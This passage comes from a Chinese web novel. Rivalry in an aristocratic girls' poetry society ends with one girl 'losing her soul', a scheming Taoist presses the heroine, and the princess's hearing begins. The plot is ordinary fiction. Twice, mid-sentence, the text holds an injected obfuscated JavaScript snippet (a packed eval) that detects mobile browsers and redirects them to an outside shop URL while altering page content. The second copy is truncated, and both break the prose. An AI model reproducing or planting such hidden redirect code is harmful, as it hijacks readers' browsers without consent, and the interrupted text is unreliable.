现在驱雨阵已经被打开了,亭中的女郎们显然还惊魂未定,围着庭院中雷劈过的地方小声议论,侍女们方才撑着伞收拾了一番庭院,空气中依旧漂浮着一股焦糊味,与香火的气味混在一起,腻味的有些让人恶心。 时隔数月,崔妙微的‘专座’被搬回了长廊,桌子的一侧被雷劈的焦黑。 这么一看,方才那道雷离崔妙微近的可怕。 雨天是不能用引雷符的,因为雷会跟着雨水流到人的身上,万幸,廊中亭下布置了避雷阵,会导走天雷,这才让崔妙微幸免于难。 崔妙微看了一会就不再关注,带着赵贞走到了骆初静面前。 众人见他们一行人出来,都安静了。 骆初静本来正低声与宋三娘讲话,见崔妙微带着赵贞出来,立刻便迎了上来,“找到了吗?” 崔妙微冲她笑笑,“是误会,天气异常,正好我今日运气不好,我也已经与贞娘她们解开误会,以后不会再生事端了。” 近年来确实总有异常天气,今年开年以来连绵的雨大家都见怪不怪了,这么说也说得过去。 赵贞已经没了方才的神气,脸色还有些发白,她一声不吭,跟着点了点头。 刘二娘等人都有种大难不死的虚脱感,安分极了。 骆初静的眼神在几人身上扫了一圈,显然有些不信,但看着崔妙微满身狼狈还强颜欢笑,到底没说什么,只是依旧一脸怀疑。 赵贞见状,竟然上前一步,主动握住了崔妙微的手,强笑道:“都是误会,我日后也不会再与郡主起争执了。” 崔妙微看也没看赵贞,但也回握了她的手,“是的,我们没事了。” 赵贞别过了脑袋,显然还是不喜欢崔妙微,可她抿了抿唇,却还是握了握崔妙微的手。 骆初静默不作声地二人之间看了一会,目光定在了二人相交的手上。赵贞因生来六指被视为有残缺,袖摆都比别人长一截,往常不管做什么都用袖摆盖住,此刻却裸露出来,与崔妙微的手握在一起。 骆初静微不可查地皱了皱眉,接着像是忽然明白了什么一般,忽然对赵贞斥问道:“赵贞!你们是不是欺负郡主了?故意强迫她这么说的?” 赵贞吓了一跳,她哪里被人这样厉声质问过,还没反应过来骆初静为何训斥她,就恼怒地回击道:“社长怎么这么冤枉我!你问问刘二娘她们,我们哪有逼迫郡主?” 刘二娘等人已是惊弓之鸟,赶紧解释道:“都是误会,我们没有逼迫郡主。” 骆初静却失望的看着赵贞,“你实在是太不懂事了,以往我与奉珠金兰之交,连带着对你也多有包容,诗社中许多关于你的风言风语,我都当做是谣言,只盼着你有好改的一日,可你现在却愈发不可理喻,害了人就算了,还强逼着人家包庇你!” “此事我一定要告到公主那去!” 赵贞本来面有愧色,骆初静方才的指责她都忍受了,可骆初静此刻牵扯到赵奉珠,还要把事情闹大,让她忍不住狠狠地抽回了自己的手,把崔妙微往前一扯,“你自己说,是不是我逼迫你的?” 方才几人连珠带炮的一串争执,崔妙微心中暗惊,只是找不到插嘴的余地,此刻虽被赵贞扯得一个踉跄,但也有了说话的空隙,连忙道:“长姐,没有人逼我,这件事就到此为止吧,每年都有几日奇怪的天气,这几年本就越发频繁了。” 刘二娘等人都吓坏了,赶紧附和地点头。 骆初静却看着崔妙微道:“我明明是为了郡主出头,郡主怎么又拦着我?赵贞几人背后非议你,我从来不信,也不许宋三娘等人附和,难道郡主真的是喜欢装模作样扮好人吗?” 这话说的严重,崔妙微一时语塞,她小心地观察众人的神色,察觉到不太对劲,心慢慢提了起来。 宋三娘早就对崔妙微不满,闻言立刻便阴阳怪气道:“郡主你怎么回事?今日可不是第一次了!郡主怎么总是喜欢踩着别人做好人?” 方才崔妙微简简单单便原谅赵贞,女郎们早就颇有怨言了,此刻有了宋三娘带头,都不满地看着崔妙微。 崔妙微哑口无言,在众人的逼视下,不敢随意发话,只能不停地擦着额上的冷汗,心中满是疑问,不断地打量着骆初静与赵贞。 骆初静算是如今诗社中最年长的女郎,早些年与赵奉珠的关系最好,赵贞与赵奉珠性格迥异,极其跋扈,在诗社中向来目中无人,与刘二娘等人自成一派,但从不欺负与骆初静亲近的人,为了诗社和谐,骆初静对赵贞几人许多事也都隐忍不发,今日却屡次对赵贞发难,难道真的是为了整顿诗社的风气吗? 或者两个人在她不知道的时候起了矛盾? 崔妙微想不明白,她满头不知是未干的雨水还是汗水,只能拿出帕子不停地擦,努力地思考对策。 宋三娘早就受了赵贞许多气,今日算是找到了机会,“赵贞的品格大家心里都有数,只是没想到你连五独之人都敢欺负,暗地里不知道多少女郎遭了你的毒手!就该听社长的,把引雷符的事告到公主那去!” 许多对赵贞有意见的女郎都附和起来,还有人看热闹不嫌事大,说些拱火的话,场面一时混乱,大半女郎都开始声讨赵贞了。 崔妙微心中还十分犹疑,摸不清骆初静的用意,但眼看赵贞就要跳脚了,只能连忙大声道:“大家都别吵了!” 众人顿时都看过来,崔妙微硬着头皮道:“长姐,我绝没有要装好人的意思,我知道你为了诗社付出了很多,但这件事确实就是误会,闹大了,也影响诗社的名声,尤其今日阿娘也在开诗会,大家都是诗社的一份子,到时候影响的也不是我一个人。” 崔妙微知晓骆初静肯定不愿让公主为难,众人也不愿诗社名声受损,只能先把公主也在开诗会的事搬出来。 骆初静闻言似乎犹豫起来,众人也反应过来,因方士之术闹大了,连带着她们也要丢丑,潇湘诗社在外可是社风美满名声极佳的,也许有人真受了赵贞的欺负,但若不是为了有个潇湘诗社社员的美名,何必留在诗社受气呢? 且许多女郎们说是受了赵贞欺负,其实也至多是口头几句争执,此刻只是想趁机打压赵贞罢了,实在不必为此影响诗社的名声。 见众人态度软化,崔妙微又拉起赵贞的手,柔声道:“引雷符的事,我相信不是她做的,不必闹到公主那里去,也给大家惹麻烦。贞娘也已经悔改了,若是有人从前受了她的欺负,此刻将话说开,就是告到公主面前主持公道也行,让贞娘该道歉受罚便道歉受罚。” 这么一说,女郎们更是动摇,若真这样,也不是不行……院中一时僵持起来。 崔妙微扯了扯赵贞的手,给了赵贞一个眼神,示意她说说软话,引雷符的事闹大了,赵贞绝对讨不到好。 赵贞和崔妙微对视一眼,眼睛都红了,她咬了咬唇,张开口,刚要讲话,宋三娘忽然一声惊呼,“静娘,你怎么了?” 众人连忙看过去,就见骆初静红了眼眶,她似乎不想被人瞧见,快速地用帕子按了按眼角,侧着脸道:“我是心疼郡主,哪有那么巧的事?就算真是意外,也是因为她们非要让你去坐那个‘专座’,若不是廊中亭有避雷阵,恐怕……” “我是诗社的社长,还有谁比我更在意诗社的名声?可潇湘诗社的社训难道就是让大家为了面子上的好看,而让一个社员受委屈吗?这还不是普通的委屈,郡主可是差点送了命啊……我已经忍了赵贞等人一段时日了,诗社中不知多少女郎受了赵贞的气,我碍于死去的奉珠隐忍不发,想着她有改过自新的一天,可谁知她愈发张狂了,今日不整治,日后还得了?” 骆初静说着说着,似乎下定了决心,她擦了擦眼睛,道:“引雷符的事我势必要上报,请公主彻查,出了事,我一个人担。” 诗社中本就有许多平民女子,对招她们入社的骆初静十分维护,闻言顿觉心口酸胀,面露感动,连忙安慰起骆初静来。 宋三娘更是敬佩,暗中又瞪了赵贞好几眼,还屡屡不满地瞥着崔妙微。 赵贞见众人又态度松动,都站在骆初静那边,又惧又恼,引雷符的事哪里禁得住细查?立刻争辩道:“郡主方才明明是手帕赛输了才去坐的,怎么又是我们故意的?” 骆初静立刻推开安慰她的社员,质问道:“赵贞,你还狡辩?你们往日里在诗社中拉帮结派就算了,我顾及诗社的大局,都睁一只眼闭一只眼,可你们万万不该牵扯到方士之术上,还险些害了郡主的性命,纵使郡主不计较,日后若是漏了消息,无辜的社员们该如何自处?你出身权贵之家,社员中可有许多平民之女!” 社员们大部分本就崇敬骆初静,惧怕赵贞,方才骆初静声称一人担责,众人就偏向了她几分,她此刻一番话更是让众人感同身受,不由对赵贞怒目而视。 有个平民女郎小声道:“平日里瞧不起我们就罢了,不管如何,也不该行方士之术连累大家……” 不等赵贞把说话的人找出来质问,骆初静就挡在女郎们身前,义正言辞道:“郡主的为人,大家也是看在眼里的,有谁比她还善良宽和的?你们就是拿捏了郡主好欺负,这才肆意妄为。” 骆初静的话就像是风向标,社员们忍不住七嘴八舌附和起来,“是啊,其实郡主虽是五独之人,可平日里待我们是很好的,比赵贞友善多了,方才我也投了赵贞,就是因为不敢不投……” “我早就觉着郡主不是那种会害人的人,赵奉珠明明就是被妖道害死的,赵贞兴许是嫉妒郡主,以此排挤郡主……” 赵贞向来众星捧月,哪里被人这样围攻过,忍不住甩开了崔妙微的手,道:“我才没有嫉妒!她一个五独之人,天生的灾星,我嫉妒什么?” 有人故意道:“你说郡主是天生的灾星,你还是天生的六指呢!郡主好歹全须全尾!你就是嫉妒,不然为何要让刘二娘等人都把手帕投给你?你选的那首诗,我们听都没听过,不知道是哪里来的蓬户士的诗,你就是故意以此羞辱郡主!” 赵贞涨红了脸,两只手都缩回袖摆中,一点也不露出来,嘴上也不肯提起六指的事,只能当做没听见,强撑道:“是因为我选的诗更好!” 刘二娘等人不敢拆自己的台,心中连连叫苦,更不敢点评赵贞的六指,只能看着崔妙微的脸色附和道:“是啊,贞娘选的诗,都是我们喜欢的。” “对啊,我们向来就喜欢欣赏这些还未有名气的诗人,这也有错吗?” 骆初静静立一旁,闻言立刻便道:“既然你们说欣赏这位诗人的诗,那好,刘二娘,你过来把方才那首诗背出来,你若背出来,我们便相信这只是个误会。” 刘二娘一愣,后背顿时湿透了,吞吞吐吐半晌,竟然一个字也说不出来。 骆初静点兵一样把几个方才投了赵贞的女郎点出来,竟然没有一个人能背出来。 骆初静失望地摇摇头,作势现在便要去禀告公主,“事到如今,我只能去百芳园上报给公主,请公主来主持公道,查明真相了!” 百芳园中诗会该是最热闹的时候,人多眼杂,若是让骆初静现在去报,小事也要变成大事了,更何况还与方士之术有关。 长廊中登时乱做一团,拦骆初静的拦骆初静,推人的推人…… 赵贞似乎到这一刻才是真的慌了,扯着骆初静不让她走,哭着说:“只是意外而已,我们没有故意要害郡主,郡主方才都说了只是误会了,不信你们问她啊……” 崔妙微也跟着点头,抓着骆初静不放,“长姐,世间的事情机缘巧合,赵贞也不是傻子,怎么会在大庭广众之下行方士之术?如此想来也能知道只是误会一场。且此事只要我们自己瞒住,还有谁会知晓?” 骆初静似乎有些恨铁不成钢,推开了崔妙微的手,“你不必怕赵贞,今日势必替你主持公道。” 围观的社员中有人趁机报复赵贞等人,“郡主就是太好了,才让你们有恃无恐!你们在诗社横行霸道,早该长教训了!” “赵贞生来六指,与常人有异,说不定她才是灾星!” “胡说什么!”赵贞浑身一颤,双眼含泪,却还是狠狠地回头,要找这个讲话的女郎,可人群拥挤,将几人围在中间,那个女郎说完便混入人群中了。 赵贞寻不到人,又被众人异样的目光围绕着,一时羞愤又慌张,躲闪间看到了被挤到一旁的崔妙微,忍不住要上前推搡她,边道:“你!就是你故意扮可怜惹出这么多事来!故意让大家笑话我!你还在这里装!刚才还假模假样的哄我!” 骆初静连忙拦住赵贞,赵贞便抓住她的衣襟,哭诉道:“社长,你就是被郡主骗了!她都是装的!” 骆初静自然不信,“郡主的人品大家都知道,她何曾害过人?你自己作恶莫要再攀扯她了!” 见骆初静如此信服崔妙微,赵贞一口气差点喘不上来,尖声道:“她害死了我长姐!你们先前明明都赞同的!” 她又看向围住自己的众人,哭喊道:“郡主就是故意的!你们都被郡主骗了!” 众人有骆初静打头,都已经不买账了,反而七嘴八舌的指责起赵贞来,“你才是骗子!还说郡主是坏人,可郡主素来宽宏大量,照这样来说,你比五独之人坏多了!” “你生来六指,说不定就是比旁人多一份坏心呢!怪不得爱欺负人!” 刘二娘心中害怕,她不愿意事情闹大,只能为赵贞声辩,“贞娘素来坦荡,不屑小人之事,郡主却是五独之人,谁好谁坏一目了然了!” 立刻便有人针对起刘二娘,“我记得上次年关的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193443|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴席上,刘二娘差点摔倒,还是郡主扶住了她,似乎因此连自己的脚都扭了呢?可从未见刘二娘道谢过,现在还这样加害郡主,实在可恶……” 刘二娘见势不对,心中惶惶,一时也不敢再说话了,长廊中顿时只有众人声讨赵贞的声音。 赵贞忍不住看向四周,只见都对着她指指点点,还有她往日瞧不起的女郎斜着眼睛打量她的袖摆,和一旁的人窃笑起来。 而骆初静站在最远处,似乎下一刻便要跑去上报了。 赵贞竟然不敢再直视众人的眼睛,她把两手蜷缩起来,只感觉天旋地转,最后模糊间不知为何,又对上了崔妙微的眼睛,见她冷的直打寒颤,还要过来扶自己,登时怒道:“还装!你装什么!好像全天下就只有你一个好人一般!就是你克了奉珠!就是你!我这么倒霉,被大家笑话,就是你克了我!” 可社员们早已不站在赵贞这边,她孤立无援,忽然像是一口气提不上来一般,脑袋一仰,便晕倒了,重重地摔在了地上。 亭中登时一静,骆初静似乎也没想到会这样,连忙推开众人,上前要把赵贞扶起来。 她刚蹲下身子,忽然就一愣,接着惊叫道:“赵贞失魂了!” 赵贞的脑袋适时一歪,众人只见她的眼睛半睁半闭,隐约可见微微发黄的瞳孔。 骆初静看了看赵贞,又不可置信地看向了崔妙微。 众人呆滞片刻,轰地一下散开了,亭中很快便大乱起来,众人推挤着远离了崔妙微。 这一切都发生的太快了,赵贞惹了众怒,崔妙微被群情激奋的社员挡着,挣扎地满头大汗,根本就挤不进去,想要帮助赵贞也有心无力,眼睁睁看着她晕倒了。 · 有人失魂,长廊中大乱。 公主府邑司令被动静引过来,见亭中一片狼藉,迅速让府兵控制了现场,将女郎们安置在附近一处偏僻宽敞的院子中,还安排了医女来照看。 邑司令紧接着便赶去花厅报给了昌平公主身边的侍女邕娘,诗会人多眼杂,消息根本瞒不住,很快大家就都知道了。 小院中,昏迷不醒的赵贞占了正房内间,崔妙微浑浑噩噩地换了身干净衣裳,找了个偏房,关上门窗,在靠窗的胡床上坐下了。 赵贞失魂,按照崔妙微与施令岐的第二个赌约,崔妙微已经输了,接下来应该履行约定,对施令岐言听计从。 崔妙微满心抗拒,更有种难以言喻的恐惧,她仿佛坐上了一架失控的马车,会带着她走向一条无法回头的歧路,而她眼睁睁地看着这一切发生,却无能为力。 崔妙微焦躁地掐着掌心,只能尽量为自己争取,“道长……我知道按照约定,第二个赌约我已经输了,但是你也知道,本来已经成功了,只是……” 在崔妙微看不到的地方,施令岐知道自己要出场了,他半跪在地上收拾自己的法器,边道:“时间宝贵,我知道你要说什么,你只用回答我一个问题,你承认你那套‘只要让所有人知道你心无恶念,或者低个头,就能感化赵贞’的办法没那么管用吗?” 崔妙微怔了怔,不知道施令岐竟然是这么看待自己的,张了张嘴,又说不出反驳的话。 她忍不住用指甲掐住指尖,有些艰难地点了点头,“可这次是意外,阿娘说过了,我是五独之人,只要大家知道我足够‘好’,就能安稳,今日出了这样的事,是,是我做的还不够‘好’,我该劝住长姐的,但原本应该是可以的……” 几句话的功夫,施令岐已经把所有可能需要用到的法器清点了两遍,依次分装进不同的箱子中,“不用解释,你承认就行……还有,下次有什么事直说,你吞吞吐吐难道就能改变事实,或者让我更宽容吗?” 施令岐顿了顿,道:“你现在就该对我言听计从,趁兵荒马乱,配合我杀了赵贞。” 崔妙微浑身一颤,恐惧道:“不行,我不想杀人。” “别害怕,我说说而已。”施令岐微笑了一下,他自然不可能真的现在杀赵贞,时机已经不对了,“你对我的办法这么抗拒,又觉得刚才只是失误了,那我可以再给你一个机会,第四个赌约依然有效,只要你能让公主相信赵贞不是你克的,那就意味着你不会被赶出公主府,也就说明你有应对命运的能力,那么第二个赌约和第四个赌约都算你赢。” 也就是说,现在只要让公主相信赵贞不是她克的,施令岐会告诉崔妙微,为什么他不信五独命格之说,并且不再出现在崔妙微的身边。 崔妙微到了此刻才意识到,施令岐所说的只在乎最终目的的真正含义,他不在乎崔妙微能不能成功,他甚至不在乎赌约,只要崔妙微能改变命运。 施令岐打这几个赌,就是为了改变崔妙微的信念,让她承认一味的‘好’是没用的,说不定,他就是为了离间崔妙微与身边的人,从裴善道到骆初静,再到昌平公主,以便如果崔妙微失败了,能够迅速地接受与他合作的事情,并且最大程度的配合。 她真的应该继续赌吗? “别多想了,认清现实吧,你不仅要答应。”施令岐收拾好东西,打开门,对着屋外的人偏了偏头,示意准备好了,边道:“我还有个条件。” 崔妙微尽量保持镇静,“你说。” 施令岐让人把箱子搬走,边望着窗外的雨幕,道:“我不喜欢做没有把握的事情,你没有成功感化赵贞,我又怎么相信你有能力说服公主呢?所以从现在开始,我需要你做两手准备。” 两手准备……崔妙微很快便明白过来了,她忍不住抓了抓自己的头发,喃喃道:“公主是我阿娘,阿娘会相信我的,当年为了我活命,阿娘才迁居到洛阳来,这么多年,我的表现她都看在眼中……” 施令岐忽略她极度紧张而引发的自我安慰,只道:“那你觉得公主在你和骆初静之间更喜欢谁?” 崔妙微低下了头,过了好一会她才道:“阿娘喜欢善良宽和的女郎,当年收养长姐,就是因为她命格好,会是万中无一的大善人,她也确实从小到大都正直又善良,阿娘常说她是个好女孩,更喜欢她也是应该的,阿娘对我也很好,等我做的更‘好’了,阿娘会更喜欢我的……” 施令岐没有打断她,等她说完以后才道:“我不在乎昌平公主为什么更喜欢骆初静,你心里明白就行,我只知道这就意味着你是需要做两手准备的。” 施令岐沉吟一会,道:“我已经答应你延长第四个赌约,那么我现在也不会要求你做‘坏事’,在此期间,你可以坚持做个心无恶念的‘好’人。” “我只是需要你在公主这边累积道德资本,换句话说,等会你要配合我做一些事,以便在日后某个时刻,以此达成控制公主情感的目的,比如说,让她愧疚……能明白吗?” 施令岐最后又道:“当然,如果公主相信你,这个道德资本自然就用不上了,我们都能省事。” 崔妙微在房中不停踱步,她看着窗外模糊闪动的人影,心跳的越来越快……她最终还是答应了。 9. 第九章 崔妙微刚答应延长赌约,窗外就隐约传来了众人行礼的声音……是昌平公主到了。 随之而来的还有在百芳园中参加诗会的人,崔妙微透过模糊的窗纸看过去,管事娘子打开了小院的驱雨阵,好几个侍女捧着香炉在廊中穿行,院子里乌压压一片人。 人们不管有事无事,先挨个上了香,接着聚在一齐窃窃私语。 崔妙微只看了一眼就觉得好累,她闭上眼睛,有些痛苦地揉了揉自己的脑袋。 公主真的会相信她吗? 崔妙微又忍不住责怪起了自己,为什么不能做的好一点?如果当初她撑着去坐了‘专座’,赵贞是不是就不会怀疑她,是不是就不会发生这种事了?她也不会和一个邪修有牵扯,甚至还越陷越深了呢? 施令岐仿佛知道崔妙微此刻的心境,先给了她大概半柱香的时间冷静,半柱香后才道:“事已至此,多想无益,时间宝贵,好好想想一会应该对公主说什么。” 他抬头看了一眼眼前的‘昌平公主府’的牌匾,对一旁请他入内的邑司令微笑了一下,边道:“别人的想法都不重要,你只要能说服昌平公主就行,于情于理,她都不会放任你被陷害。” 施令岐客观地分析了一下目前的状况,尽量缓解崔妙微的焦虑情绪,“昌平公主当年能为了你迁居到洛阳,远离权利中心,据你所说这么多年对你也很严苛,从这个角度来看,她在你身上付出了巨大的成本,正常情况下,她不会轻易放弃你的。你不要过于紧张,反倒显得奇怪。” 施令岐说的是实话,他觉得昌平公主是不会轻易将崔妙微赶出公主府的,但这也正是这件事怪异的地方,预言中崔妙微就被赶走了,可昌平公主就算如今偏爱骆初静,但从前为了崔妙微搬离长安远离皇都不是假的,前期付出那么多,怎么可能轻易就放弃,反而只要察觉到崔妙微有半点被冤枉的可能,她都应该会替崔妙微做主的。 说极端一点,如果昌平公主真觉得崔妙微克害了人,把崔妙微关起来的可能性都比赶出去大。 因此施令岐即使认为崔妙微成功的概率不高,但他依旧选择让崔妙微再尝试一次,不管崔妙微能不能成功,他都可以借这个机会寻找线索。 在邑司令殷切地引领下,施令岐信步跨入公主府的大门,“而且本来就是多出来的机会,失败了又能怎么样?只是回到了原点,不会更差了。” 廊中亭就在前方,施令岐最后抬眼看了一次天色,平静道:“屋里有窗子吗?打开透透气吧,也许你会好受一点。” 施令岐的语气因为从容显得冷静且理智,仿佛在他看来,这样的境地也不算什么,让人情不自禁地就觉得可靠和值得信赖。 崔妙微紧紧地抿了抿唇,下意识地照做了,她将一扇小窗推开,潮湿的气息扑面而来,她深呼吸一口,竟然真的慢慢平静了下来。 崔妙微怔怔地靠在窗边,轻声道:“我好多了……谢谢道长。” 施令岐却不再回应了。 到了这时,崔妙微才发现自己一直忍不住地打着寒颤,侍女方才送了姜汤来,已经半凉了,她端起来一饮而尽,接着拿出手帕,擦了擦额上的汗,鼓足勇气,半垂着头出了院子。 人们边上香边闲话,院中烟雾弥漫,细看竟然有将近十来个小香炉,浓重的香火味熏得人眼睛发红。 方才来了好几拨大夫,都说赵贞是失魂了。 暗灰色的烟雾让崔妙微看不见人们的神情,只能隐隐约约听见议论声,有人说是郡主克的,有人捏着香,小声地说是逍遥道来偷魂了。 唯一统一的是,现在没有人敢靠近崔妙微了。 正厅中,昌平公主正坐在主位上,她年过四十,衣着简单,不饰钗环,气质肃穆,眉宇间有几道深刻的皱纹,身边摆了一个小香炉,雾霭霭模糊了她的神色。 昌平公主迁居至洛阳将近二十年,一向很低调,鲜少交际,今日是近年来头一回办诗会,谁知就遇上了这样的事,众人只听闻她在长安时很受先帝的宠,颇有权势,但摸不清她的脾气,都在观察形势,不知她会如何处理。 在这样各怀心思的氛围下,一个在昌平公主下首大声哭诉的女人就很惹眼了。 女人气质清雅,伏在案桌上哀哭也不显狼狈,“奉珠就是因为‘专座’的事与郡主结了怨,我方才听刘二娘说,今日又是为了‘专座’的事才闹出这些事来,不知这些女孩是作了哪门子的孽!就为了一个席位杠上了!” 女人哭的伤心,虽不明说,但已经是在暗指此事和福康郡主有关了。 众人都不由侧目,频频朝女人望去。 惹得众人连连侧目的不是女人当着昌平公主的面便意有所指,而是惊讶于这个哭诉的女人竟然是赵明府的继室赵氏。 赵奉珠与赵贞姐妹二人并不是同母所出,赵贞是如今的继室赵氏唯一的亲女,赵奉珠比赵贞年长三岁,由赵明府的原配邱娘子所出。 赵氏是个极好面子的人,这是在场的夫人几乎都知道的。 二十多年前,赵氏还未出阁时家境普通,但因貌美多才被当时的潇湘诗社社长赏识,特招她入社,她虽家贫却极为清高自矜,性格敏感,若觉得诗社中有谁低看她,势必要闹到社长那去,在诗社中人缘很差。 有一次,诗社在城外办诗会,社员们约好当日辰时出发,坐马车两个时辰能到。赵氏雇不起马车,也不愿接受社员的帮助,谎称自己家中就有马车,回家以后却提前一天夜里就开始赶夜路,半夜在城外破庙借宿一宿,硬生生在众人之前走到了。 本来无人注意她是如何来的,谁曾想她在破庙借宿时被一个女郎家中的下人撞见了,女郎嘴快,很快所有人都知道她提前一夜步行出城的事了。 如此狼狈,众人以为赵氏在诗社中肯定不再能摆出那副高傲的架势,谁知,她直接退社了。 一个平民女子能入潇湘诗社,多大的荣耀啊,她就因为一次窘迫被人瞧见,便再也不愿意入社了,且往后十来年,任何有那个嘴快女郎的宴席她都不去,近年才好一些。 实在难以想象赵氏这样一个人,竟然会当众哭嚎,这么多年,尤其是她嫁进赵家以后,除了十几年前,她生下生来六指的赵贞,被赵家的长辈当众斥责,就没人见过她除了那种慢条斯理的笑容以外的表情了。 今日就跟换了个人似的,夫人们都有些惊讶,再细看赵氏的脸色,虽用脂粉遮掩,但面颊青白,眼下还有两抹青黛,气色极差,似乎很久都没休息好了。 众人不由联想到她到底是继母,与继子继女的关系也很难和睦,还生了个有残缺的孩子,被家中长辈责怪,继女现在又死的不明不白,她或许在家中受了埋怨,此刻亲女又出了事,这才没忍住失态了。 倒也可以理解。 只是赵氏平常个性高傲难以接近,夫人们纵使同情也不愿轻易附和,只有常常跟在赵氏身边的刘氏上前去劝她,刘氏的夫君是赵明府的下官,她便也惯常陪伴在赵氏身边。 昌平公主默不作声地听着,还让刘氏好好安慰赵氏,边沉吟道:“‘专座’又是怎么一回事?” 赵氏正伏在案桌上哭诉,闻言一怔,似乎没想到昌平公主连这件事也不知道,她低头拭泪掩饰情绪,抬起头时便是一副无奈隐忍的模样,哭道:“本也不是什么大事。” “诸位夫人当年应该都参加过潇湘诗社,晓得每月诗赛的规矩,去年九月的诗赛,奉珠赢了郡主,她与骆大娘子关系好,想借此机会坐到骆大娘子身边,正巧郡主的席位就设在骆大娘子的身旁,奉珠便提出将郡主的席位挪走,可谁知其余的女郎们都不愿意与郡主同席,郡主便只能单坐在庭院中……” 此言一出,夫人们都了然,能坐在这里的人,闺阁时几乎都是参加过潇湘诗社的,诗社中确实有此规矩。调换席位虽有些奇怪,但女孩们年纪还小,有这样的官司也不无可能。 且赵氏自退社以后,这么多年都绝口不提潇湘诗社四个字,今日竟然就这么宣之于口,已经惹得好几个夫人窃窃私语起来……如果不是万不得已,她恐怕也不愿提起。 赵氏擦了擦泪,不在乎众人异样的目光,只接着拭泪的功夫,悄悄给了一旁的刘二娘一个眼神。 刘二娘立刻便要起身,她的母亲刘氏在一旁,想要阻止,却没来得及,眼睁睁看着她站起来急切地附和道:“郡主因此事记恨上了奉珠与贞娘,几个月都没来诗会呢。” 几个月都不去诗会?时人爱诗,单论洛阳城中的女子诗社就有几十个,每月诗会就算是这些女郎们最重要的社交活动了。 众人互相递眼色,难道真是福康郡主克的? 赵氏顺势哭道:“郡主命格特殊,我从无冒犯之意,可如今屡屡越界……” 赵氏又起身对夫人们一拜,“我知晓自己素来与各位姐姐颇为生疏,可我们到底曾在一个诗社对过诗,这情谊我一直记在心中……今日是我的贞娘,明日就不知是何人了,我不得不站出来……” 赵氏都这么说了,甚至提及诗社的事,夫人们虽觉她心口不一十分好笑,但也不好再作壁上观,况且心中也确实介意,堂中安静一会,便有位夫人轻声道:“我等都将公主的教导看在眼中,郡主看着也不像心怀恶念之人,平日里瞧着也不生事,可到底人心难测,赵大娘子的事,女郎间早就有了风言风语了,再有今日的事……” 于情于理,昌平公主也该众人一个交代。 崔妙微一直在外偷听,知道自己此刻必须现身了,一咬牙,推门而入。 屋中,赵氏虽伏低头垂泪,却是第一个发现的,立刻直起身子,眼神幽怨地瞪着她。 众人注意到,目光也接二连三地聚集过来,堂中渐渐安静了,大家都默不作声地看着崔妙微。 人群安静下来,悄悄往主位看,似乎都等着看昌平公主如何应对。 崔妙微顶着众人各异的眼神,鼓起勇气,径直跪在了公主身前,“我缺席诗会,是因为生病了,府上的大夫可为我作证,至于赵家姐妹的事,我问心无愧,阿娘尽可问话。” 崔妙微说完,便迅速思考起来,她缺席诗会的事已经解释了,昌平公主接着肯定会问她到底有没有克害赵贞,她要如何回答才能显得自己心无恶念,如果昌平公主再质问她赵贞为何会晕倒,她要怎么透露引雷符的事。 崔妙微正紧张的时候,却听见昌平公主突然道:“静娘。” 崔妙微一开始以为自己听错了,下意识抬头准备回话,就见昌平公主靠在椅背上,面色平静无波,仿佛没有听到崔妙微刚才的话,只对骆初静道:“你来说说郡主为何屡次缺席诗会。” 崔妙微一时怔住了,回过神来就立刻垂下了头,她攥了攥裙摆,余光看着骆初静迅速起身,跪到自己身侧回话,“阿娘,郡主确实缺席了几次诗会,但都是因病缺席,我常去探望,可以为郡主作证。” 骆初静在外的形象就是正直善良的,她这么说,众人都点头,“若是病了,缺席诗会也是情有可原。” 崔妙微抿了抿唇,她掐住掌心,让自己别乱想了,连忙趁众人态度松动,解释道:“长姐说的是,我并未因为专座的事记恨赵奉珠,我是心甘情愿受罚的,只是因那日大雨,感染了风寒,修养了几个月,这才让人误会我因此事记恨了赵奉珠,赵贞也因此对我有意见……此事长姐是知晓的。” 崔妙微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆初静说到这有些汗颜,“当时我就觉得院中那道雷不同寻常,坚持要来报给阿娘,紧接着,赵贞便失魂了,现在想来,是我愚钝了。” 若赵贞真是因为害怕引雷符的事情暴露,因此装作失魂,也说得通了。 骆初静讲话时腰背挺直,娓娓道来,让人如沐春风,在坐许多夫人都欣赏她,闻言笑道:“你哪里愚钝,你就是没什么心眼,一心想着要主持公道,自然想不到。” 只是众人还觉奇怪,赵贞一个女郎,若真是装的,怎么会装的那么像呢? 众人还在各自揣测,就被一旁赵氏忽然的动静吓了一跳。 原来荷包又传回了赵氏手中,她先是默不作声地攥着荷包,接着又起身将荷包猛地一掷。 众人都不明所以,就见赵氏一改方才的凄苦隐忍,骤然厉声反驳起来,“什么病能一病一几个月?我本想着只要贞娘无事,息事宁人也可,可郡主害了人竟然还反咬一口,我儿都那般模样了,那是能装出来的吗?且试问这世上有谁险些被雷劈中了,还要包庇旁人的?这符引子也不知道郡主从什么人手中拿来的,我早料到郡主巧舌如簧,不欲与你起口舌之争。” “我已叫了方士,贞娘是否失魂,一验便知!” 如此一番呵斥,把众人都唬住了,不明白赵氏今日这是怎么了,先是放下架子百般示弱,现在又忽然变得如此‘泼辣’,和以往优雅傲慢的做派完全不同。 赵氏说罢,似乎完全不在意众人惊异的目光,兀自指使身旁的侍女离开小院。 不过几息功夫,众人还没回神,那侍女就已经返回了,身后竟然领着一群方士。 崔妙微本有些情绪低落,见状差点叫出声来,她料到此事可能会闹到请方士,只是没想到这方士竟然来的这么快! 赵氏这是早有准备? 难道赵贞陷害自己的事,赵氏也知情? 